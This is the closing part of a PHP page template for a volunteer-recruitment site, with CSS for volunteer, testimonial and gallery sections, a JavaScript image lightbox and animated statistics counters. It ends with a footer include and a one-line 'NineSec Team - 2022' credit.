        color: white;
        position: relative;
        overflow: hidden;
    }

    .volunteer-section::before {
        content: '';
        position: absolute;
        top: 0;
        left: 0;
        right: 0;
        bottom: 0;
        background: url('data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000" opacity="0.1"><polygon fill="white" points="0,1000 1000,0 1000,1000"/></svg>');
        background-size: cover;
    }

    .volunteer-cta {
        position: relative;
        z-index: 1;
    }

    .volunteer-content {
        display: grid;
        grid-template-columns: 1fr 1fr;
        gap: 50px;
        align-items: center;
    }

    .volunteer-text h3 {
        font-size: 2.2rem;
        margin-bottom: 20px;
        color: white;
    }

    .volunteer-text > p {
        font-size: 1.2rem;
        line-height: 1.7;
        margin-bottom: 30px;
        opacity: 0.95;
    }

    .volunteer-benefits {
        display: grid;
        grid-template-columns: 1fr;
        gap: 20px;
        margin: 30px 0;
    }

    .benefit-item {
        display: flex;
        align-items: center;
        gap: 20px;
        padding: 20px;
        background: rgba(255,255,255,0.1);
        border-radius: 10px;
        backdrop-filter: blur(10px);
        border: 1px solid rgba(255,255,255,0.2);
    }

    .benefit-icon {
        font-size: 2rem;
        color: var(--accent);
        min-width: 60px;
        text-align: center;
    }

    .benefit-text h4 {
        margin-bottom: 5px;
        font-size: 1.2rem;
    }

    .benefit-text p {
        opacity: 0.9;
        margin: 0;
    }

    .volunteer-stats {
        display: flex;
        gap: 40px;
        margin: 30px 0;
        padding: 25px;
        background: rgba(255,255,255,0.15);
        border-radius: 15px;
        border: 1px solid rgba(255,255,255,0.3);
    }

    .volunteer-stat {
        text-align: center;
    }

    .volunteer-stat .stat-number {
        font-size: 2.5rem;
        font-weight: bold;
        display: block;
        color: var(--accent);
    }

    .volunteer-stat .stat-label {
        font-size: 1rem;
        opacity: 0.9;
    }

    .volunteer-actions {
        display: flex;
        gap: 15px;
        flex-wrap: wrap;
        margin-top: 30px;
    }

    .volunteer-image {
        text-align: center;
    }

    .volunteer-image img {
        max-width: 100%;
        border-radius: 15px;
        box-shadow: 0 20px 40px rgba(0,0,0,0.3);
        transition: transform 0.3s;
    }

    .volunteer-image img:hover {
        transform: scale(1.02);
    }

    .image-caption {
        margin-top: 15px;
        font-style: italic;
        opacity: 0.9;
    }

    /* Testimonials */
    .testimonials-grid {
        display: grid;
        grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
        gap: 30px;
        margin-top: 40px;
    }

    .testimonial-card {
        background: white;
        padding: 30px;
        border-radius: 15px;
        box-shadow: 0 10px 30px rgba(0,0,0,0.1);
        border-left: 5px solid var(--primary);
    }

    .testimonial-content {
        font-style: italic;
        line-height: 1.7;
        color: #555;
        margin-bottom: 20px;
        position: relative;
    }

    .testimonial-content::before {
        content: '"';
        font-size: 4rem;
        color: var(--primary);
        opacity: 0.2;
        position: absolute;
        top: -20px;
        left: -10px;
    }

    .testimonial-author {
        display: flex;
        align-items: center;
        gap: 15px;
    }

    .author-image {
        font-size: 2.5rem;
        color: var(--primary);
    }

    .author-info h4 {
        margin: 0;
        color: #333;
    }

    .author-info p {
        margin: 0;
        color: #666;
        font-size: 0.9rem;
    }

    /* Existing Styles */
    .about-content {
        display: flex;
        flex-wrap: wrap;
        gap: 30px;
        align-items: center;
        margin-bottom: 40px;
    }

    .about-text {
        flex: 2;
        min-width: 300px;
    }

    .about-image {
        flex: 1;
        min-width: 300px;
        text-align: center;
    }

    .about-image img {
        max-width: 100%;
        border-radius: 10px;
        box-shadow: 0 5px 15px rgba(0,0,0,0.1);
        cursor: pointer;
    }

    .photo-gallery {
        display: grid;
        grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
        gap: 20px;
        margin-top: 30px;
    }

    .photo-item {
        position: relative;
        overflow: hidden;
        border-radius: 10px;
        box-shadow: 0 5px 15px rgba(0,0,0,0.1);
        cursor: pointer;
        transition: transform 0.3s;
    }

    .photo-item:hover {
        transform: translateY(-5px);
    }

    .photo-item img {
        width: 100%;
        height: 200px;
        object-fit: cover;
        transition: transform 0.3s;
    }

    .photo-item:hover img {
        transform: scale(1.05);
    }

    .photo-caption {
        position: absolute;
        bottom: 0;
        left: 0;
        right: 0;
        background: rgba(0,0,0,0.7);
        color: white;
        padding: 10px;
        text-align: center;
    }

    /* Modal Styles */
    .modal {
        display: none;
        position: fixed;
        z-index: 1000;
        padding-top: 60px;
        left: 0;
        top: 0;
        width: 100%;
        height: 100%;
        overflow: auto;
        background-color: rgba(0,0,0,0.9);
    }

    .modal-content {
        margin: auto;
        display: block;
        width: 80%;
        max-width: 700px;
        max-height: 80vh;
        object-fit: contain;
    }

    #modalCaption {
        margin: auto;
        display: block;
        width: 80%;
        max-width: 700px;
        text-align: center;
        color: #ccc;
        padding: 10px 0;
        height: 150px;
    }

    .close {
        position: absolute;
        top: 15px;
        right: 35px;
        color: #f1f1f1;
        font-size: 40px;
        font-weight: bold;
        transition: 0.3s;
        cursor: pointer;
    }

    .close:hover,
    .close:focus {
        color: #bbb;
        text-decoration: none;
        cursor: pointer;
    }

    @media (max-width: 768px) {
        .hero-buttons {
            flex-direction: column;
            align-items: center;
        }
        
        .hero-buttons .btn {
            width: 100%;
            max-width: 300px;
            text-align: center;
        }
        
        .volunteer-content {
            grid-template-columns: 1fr;
            gap: 30px;
        }
        
        .volunteer-stats {
            flex-direction: column;
            gap: 20px;
        }
        
        .volunteer-actions {
            flex-direction: column;
        }
        
        .volunteer-actions .btn {
            width: 100%;
            text-align: center;
        }
        
        .benefit-item {
            flex-direction: column;
            text-align: center;
            gap: 10px;
        }
        
        .about-content {
            flex-direction: column;
        }
        
        .participation-grid {
            grid-template-columns: 1fr;
        }
        
        .testimonials-grid {
            grid-template-columns: 1fr;
        }
        
        .stats-grid {
            grid-template-columns: repeat(2, 1fr);
            gap: 20px;
        }
        
        .stat-number {
            font-size: 2rem;
        }
    }

    @media (max-width: 480px) {
        .stats-grid {
            grid-template-columns: 1fr;
        }
        
        .volunteer-text h3 {
            font-size: 1.8rem;
        }
        
        .participation-card {
            padding: 30px 20px;
        }
    }
</style>

<script>
    // Image Modal Functionality
    document.addEventListener('DOMContentLoaded', function() {
        // Get the modal
        var modal = document.getElementById("imageModal");
        
        // Get the image and insert it inside the modal
        var modalImg = document.getElementById("modalImage");
        var captionText = document.getElementById("modalCaption");
        
        // Get all gallery images
        var galleryImages = document.querySelectorAll('.gallery-image');
        
        // Add click event to each gallery image
        galleryImages.forEach(function(img) {
            img.addEventListener('click', function() {
                modal.style.display = "block";
                modalImg.src = this.src;
                captionText.innerHTML = this.alt;
            });
        });
        
        // Get the <span> element that closes the modal
        var span = document.getElementsByClassName("close")[0];
        
        // When the user clicks on <span> (x), close the modal
        span.onclick = function() {
            modal.style.display = "none";
        }
        
        // When the user clicks anywhere outside of the modal, close it
        window.onclick = function(event) {
            if (event.target == modal) {
                modal.style.display = "none";
            }
        }
        
        // Close modal with Escape key
        document.addEventListener('keydown', function(event) {
            if (event.key === "Escape") {
                modal.style.display = "none";
            }
        });
        
        // Animate volunteer stats
        function animateValue(id, start, end, duration) {
            var obj = document.getElementById(id);
            if (!obj) return;
            
            var range = end - start;
            var minTimer = 50;
            var stepTime = Math.abs(Math.floor(duration / range));
            
            stepTime = Math.max(stepTime, minTimer);
            
            var startTime = new Date().getTime();
            var endTime = startTime + duration;
            var timer;
            
            function run() {
                var now = new Date().getTime();
                var remaining = Math.max((endTime - now) / duration, 0);
                var value = Math.round(end - (remaining * range));
                obj.innerHTML = value;
                if (value == end) {
                    clearInterval(timer);
                }
            }
            
            timer = setInterval(run, stepTime);
            run();
        }
        
        // Initialize stats (you would fetch these from your database in a real implementation)
        setTimeout(function() {
            animateValue('current-volunteers', 0, 1250, 2000);
            animateValue('approved-volunteers', 0, 856, 2000);
            animateValue('countries-represented', 0, 23, 2000);
        }, 1000);
    });
</script>

<?php include 'includes/footer.php'; ?>

NineSec Team - 2022